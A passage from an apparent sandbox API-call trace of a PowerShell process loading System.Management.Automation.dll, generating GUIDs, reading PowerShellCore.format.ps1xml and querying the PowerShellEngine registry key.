nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.851] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8afe253e, Data2=0x7e5c, Data3=0x4da1, Data4=([0]=0xad, [1]=0x54, [2]=0x24, [3]=0x95, [4]=0xba, [5]=0xf, [6]=0x1d, [7]=0xd8))) returned 0x0 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.852] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x90ca8f90, Data2=0x445d, Data3=0x42fb, Data4=([0]=0x80, [1]=0x39, [2]=0x75, [3]=0xfb, [4]=0x79, [5]=0xa5, [6]=0x53, [7]=0x6a))) returned 0x0 [0024.852] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x95a1b3db, Data2=0x4910, Data3=0x459a, Data4=([0]=0xaf, [1]=0xd6, [2]=0xf, [3]=0x5c, [4]=0x23, [5]=0xb8, [6]=0xb8, [7]=0x46))) returned 0x0 [0024.852] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x25691a17, Data2=0x1a21, Data3=0x4f49, Data4=([0]=0x98, [1]=0x62, [2]=0x20, [3]=0x91, [4]=0xe6, [5]=0x8b, [6]=0x50, [7]=0x62))) returned 0x0 [0024.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.852] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xc5a2f7bd, Data2=0xaf02, Data3=0x4608, Data4=([0]=0xb3, [1]=0xfe, [2]=0xf0, [3]=0x57, [4]=0xcb, [5]=0xe7, [6]=0x6f, [7]=0xf2))) returned 0x0 [0024.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.856] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x42899c0, Data2=0x7f92, Data3=0x437c, Data4=([0]=0x91, [1]=0x6e, [2]=0x9d, [3]=0x3b, [4]=0x3b, [5]=0xa5, [6]=0x6a, [7]=0xdb))) returned 0x0 [0024.858] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8e1c781e, Data2=0x16c9, Data3=0x4fee, Data4=([0]=0xb4, [1]=0xeb, [2]=0x41, [3]=0x1d, [4]=0x55, [5]=0x76, [6]=0xce, [7]=0xcc))) returned 0x0 [0024.860] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4e660bb3, Data2=0x464d, Data3=0x4b4d, Data4=([0]=0xa7, [1]=0xb3, [2]=0x22, [3]=0x28, [4]=0x8e, [5]=0xef, [6]=0x11, [7]=0x1))) returned 0x0 [0024.860] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xdc72f9a0, Data2=0x1c7, Data3=0x4633, Data4=([0]=0xbd, [1]=0x1, [2]=0x91, [3]=0xf6, [4]=0x14, [5]=0xbf, [6]=0x80, [7]=0x79))) returned 0x0 [0024.860] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe07bda40, Data2=0xd331, Data3=0x42fd, Data4=([0]=0x8e, [1]=0x99, [2]=0x7e, [3]=0x4d, [4]=0x6a, [5]=0x95, [6]=0xd5, [7]=0xeb))) returned 0x0 [0024.861] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x28da954c, Data2=0x57a1, Data3=0x4b5d, Data4=([0]=0x8d, [1]=0xca, [2]=0xe4, [3]=0x88, [4]=0xad, [5]=0xc6, [6]=0x8e, [7]=0xb5))) returned 0x0 [0024.862] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4dbec00a, Data2=0x915a, Data3=0x4d3f, Data4=([0]=0xbd, [1]=0xda, [2]=0xaa, [3]=0x89, [4]=0x80, [5]=0x77, [6]=0x49, [7]=0xcb))) returned 0x0 [0024.862] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xee62bcab, Data2=0x2255, Data3=0x4412, Data4=([0]=0x9c, [1]=0x38, [2]=0x15, [3]=0x87, [4]=0x3e, [5]=0x3, [6]=0x20, [7]=0x49))) returned 0x0 [0024.862] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x46b66f69, Data2=0x705a, Data3=0x47c9, Data4=([0]=0x8d, [1]=0x2e, [2]=0xfb, [3]=0x6a, [4]=0x49, [5]=0xc8, [6]=0xb3, [7]=0x23))) returned 0x0 [0024.862] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x49faf6ed, Data2=0xca63, Data3=0x437f, Data4=([0]=0xac, [1]=0x24, [2]=0x98, [3]=0xff, [4]=0xbe, [5]=0x3c, [6]=0x30, [7]=0x88))) returned 0x0 [0024.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0024.863] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.863] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.864] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.864] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.865] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.866] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0xe67, lpOverlapped=0x0) returned 1 [0024.867] ReadFile (in: hFile=0x308, lpBuffer=0x3958c0f, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3958c0f*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.868] ReadFile (in: hFile=0x308, lpBuffer=0x3959640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3959640*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.868] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0024.868] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.868] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.868] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.868] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.868] RegCloseKey (hKey=0x308) returned 0x0 [0024.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0024.870] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xc4e6b122, Data2=0xc4fc, Data3=0x43ca, Data4=([0]=0x95, [1]=0x7e, [2]=0x4e, [3]=0x77, [4]=0x8a, [5]=0xc, [6]=0x24, [7]=0xe2))) returned 0x0 [0024.870] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x840c67cf, Data2=0xd53c, Data3=0x4c02, Data4=([0]=0xb4, [1]=0x31, [2]=0xdb, [3]=0x78, [4]=0x2e, [5]=0xfe, [6]=0x96, [7]=0x85))) returned 0x0 [0024.870] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1afcd6c5, Data2=0x4c3b, Data3=0x40d0, Data4=([0]=0x81, [1]=0x3, [2]=0x1c, [3]=0x61, [4]=0xbc, [5]=0xd2, [6]=0xf9, [7]=0xf1))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd06d4ae2, Data2=0x5a4e, Data3=0x47dc, Data4=([0]=0xac, [1]=0xc3, [2]=0x5b, [3]=0x4f, [4]=0x19, [5]=0x84, [6]=0x1d, [7]=0xdc))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb516283a, Data2=0x992d, Data3=0x4d6c, Data4=([0]=0x91, [1]=0x4e, [2]=0xc0, [3]=0x77, [4]=0x7a, [5]=0x2d, [6]=0x9d, [7]=0x5a))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x93c28e1f, Data2=0x7b8f, Data3=0x43e6, Data4=([0]=0x96, [1]=0xdc, [2]=0xb4, [3]=0xc5, [4]=0xeb, [5]=0x59, [6]=0xc6, [7]=0x1))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x9c77ba74, Data2=0x5582, Data3=0x4c2c, Data4=([0]=0x92, [1]=0x6b, [2]=0x53, [3]=0x59, [4]=0x5d, [5]=0x1a, [6]=0x89, [7]=0x70))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x77cb2b7b, Data2=0xa3cc, Data3=0x47c0, Data4=([0]=0x8c, [1]=0xd3, [2]=0x21, [3]=0xa6, [4]=0xcc, [5]=0x91, [6]=0xfc, [7]=0x5c))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x5848d22c, Data2=0x5fcf, Data3=0x4b0b, Data4=([0]=0xab, [1]=0x6c, [2]=0xcb, [3]=0x17, [4]=0xd1, [5]=0x2b, [6]=0x10, [7]=0xe2))) returned 0x0 [0024.871] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xae3da448, Data2=0xdeb, Data3=0x400e, Data4=([0]=0x9f, [1]=0x60, [2]=0xb, [3]=0xde, [4]=0xb5, [5]=0x89, [6]=0xe1, [7]=0xb6))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x39df3bba, Data2=0x7eac, Data3=0x49b5, Data4=([0]=0xb6, [1]=0xd4, [2]=0xc8, [3]=0xa4, [4]=0x49, [5]=0x82, [6]=0x55, [7]=0x83))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4eda653d, Data2=0x122a, Data3=0x4318, Data4=([0]=0xbd, [1]=0xc3, [2]=0xa5, [3]=0xe6, [4]=0xc2, [5]=0x0, [6]=0x30, [7]=0x6c))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x82565332, Data2=0x600c, Data3=0x413f, Data4=([0]=0xbb, [1]=0xfe, [2]=0xd8, [3]=0x6a, [4]=0x9e, [5]=0x76, [6]=0x53, [7]=0x5f))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x492905ea, Data2=0x3fb3, Data3=0x43e8, Data4=([0]=0xb2, [1]=0x65, [2]=0x42, [3]=0x58, [4]=0x87, [5]=0x1f, [6]=0xcc, [7]=0x9))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb790beef, Data2=0x1962, Data3=0x48e4, Data4=([0]=0xa3, [1]=0x69, [2]=0x7, [3]=0x34, [4]=0xa8, [5]=0xc4, [6]=0xc1, [7]=0x3d))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x6877d5f1, Data2=0xc217, Data3=0x4c35, Data4=([0]=0xb1, [1]=0xc1, [2]=0x6f, [3]=0xc3, [4]=0x22, [5]=0xd1, [6]=0xf5, [7]=0xe1))) returned 0x0 [0024.872] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xdf700bca, Data2=0x369b, Data3=0x4201, Data4=([0]=0x8d, [1]=0xff, [2]=0xd8, [3]=0xf6, [4]=0xd9, [5]=0x94, [6]=0xf9, [7]=0x3b))) returned 0x0 [0024.873] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x70fd955, Data2=0xa666, Data3=0x456a, Data4=([0]=0xad, [1]=0x70, [2]=0xc, [3]=0xa4, [4]=0x82, [5]=0xda, [6]=0x17, [7]=0xf1))) returned 0x0 [0024.873] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x7e3934af, Data2=0xfc7e, Data3=0x4c62, Data4=([0]=0x92, [1]=0xab, [2]=0x51, [3]=0x74, [4]=0x6c, [5]=0x2a, [6]=0xc9, [7]=0xa6))) returned 0x0 [0024.873] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe85df497, Data2=0x58fc, Data3=0x4972, Data4=([0]=0xaf, [1]=0xcd, [2]=0xb0, [3]=0x2e, [4]=0x3b, [5]=0xdc, [6]=0xb3, [7]=0x29))) returned 0x0 [0024.873] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x687af04b, Data2=0x871b, Data3=0x45ea, Data4=([0]=0x9d, [1]=0xd4, [2]=0x78, [3]=0x1b, [4]=0xc9, [5]=0xd8, [6]=0x2, [7]=0xa2))) returned 0x0 [0024.873] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x70f7f3d, Data2=0x30a0, Data3=0x40e2, Data4=([0]=0xad, [1]=0xa4, [2]=0xce, [3]=0xf3, [4]=0x58, [5]=0x5c, [6]=0x77, [7]=0xa8))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x2cf574af, Data2=0xc3ff, Data3=0x4bcd, Data4=([0]=0xb4, [1]=0xae, [2]=0x3d, [3]=0x5e, [4]=0xaa, [5]=0xd3, [6]=0x88, [7]=0xfe))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1f5daae3, Data2=0x1e6f, Data3=0x4db6, Data4=([0]=0xbf, [1]=0x6, [2]=0x6f, [3]=0x74, [4]=0x6c, [5]=0x6b, [6]=0xdf, [7]=0x3c))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xeb4eb804, Data2=0xb267, Data3=0x477f, Data4=([0]=0x91, [1]=0x3f, [2]=0x54, [3]=0x3b, [4]=0xb, [5]=0x3a, [6]=0x80, [7]=0xc4))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe5ed5de0, Data2=0xe2d4, Data3=0x4887, Data4=([0]=0xa7, [1]=0x62, [2]=0xc2, [3]=0xb, [4]=0x2b, [5]=0xf4, [6]=0x92, [7]=0xf6))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xff39ef6d, Data2=0xfa8, Data3=0x42e8, Data4=([0]=0xb7, [1]=0xd4, [2]=0x6a, [3]=0xbb, [4]=0xf3, [5]=0x58, [6]=0x58, [7]=0x5c))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xffc4db5e, Data2=0x392b, Data3=0x4110, Data4=([0]=0x8c, [1]=0xde, [2]=0x5f, [3]=0xae, [4]=0x56, [5]=0x75, [6]=0x60, [7]=0xcd))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x35f1cd07, Data2=0x2434, Data3=0x442b, Data4=([0]=0x9d, [1]=0x82, [2]=0xe6, [3]=0x81, [4]=0xcf, [5]=0xd8, [6]=0xbc, [7]=0x6f))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x2b03e897, Data2=0xf4ea, Data3=0x4fef, Data4=([0]=0xa6, [1]=0x97, [2]=0x51, [3]=0xdc, [4]=0xba, [5]=0xa3, [6]=0x29, [7]=0xc6))) returned 0x0 [0024.874] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x2bfa2655, Data2=0x80ef, Data3=0x4e71, Data4=([0]=0xbe, [1]=0x6e, [2]=0xcd, [3]=0x92, [4]=0x2c, [5]=0x9a, [6]=0xd5, [7]=0x23))) returned 0x0 [0024.875] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb8903ad3, Data2=0xcefe, Data3=0x41af, Data4=([0]=0x91, [1]=0xb9, [2]=0x10, [3]=0x4b, [4]=0x67, [5]=0x8a, [6]=0xaa, [7]=0x96))) returned 0x0 [0024.875] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4752520, Data2=0xd047, Data3=0x46c9, Data4=([0]=0x85, [1]=0x60, [2]=0x4a, [3]=0x91, [4]=0x68, [5]=0x6, [6]=0x59, [7]=0xf9))) returned 0x0 [0024.879] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4cc085c8, 